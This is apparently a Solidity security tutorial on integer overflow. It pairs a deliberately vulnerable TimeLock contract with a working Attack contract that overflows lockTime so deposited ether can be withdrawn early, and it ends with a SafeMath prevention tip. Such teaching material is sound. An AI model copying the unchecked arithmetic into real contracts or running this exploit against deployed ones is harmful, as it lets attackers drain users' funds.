Arithmetic Overflow and Underflow

Vulnerability

Integers in Solidity overflow / underflow without any errors.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;

// This contract is designed to act as a time vault.
// User can deposit into this contract but cannot withdraw for atleast a week.
// User can also extend the wait time beyond the 1 week waiting period.

/*
1. Deploy TimeLock
2. Deploy Attack with address of TimeLock
3. Call Attack.attack sending 1 ether. You will immediately be able to
   withdraw your ether.

What happened?
Attack caused the TimeLock.lockTime to overflow and was able to withdraw
before the 1 week waiting period.
*/

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = now + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(now > lockTime[msg.sender], "Lock time not expired");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) public {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        /*
        if t = current lock time then we need to find x such that
        x + t = 2**256 = 0
        so x = -t
        */
        timeLock.increaseLockTime(
            uint(-timeLock.lockTime(address(this)))
        );
        timeLock.withdraw();
    }
}

Preventative Techniques

  • Use SafeMath to will prevent arithmetic overflow and underflow

Try on Remix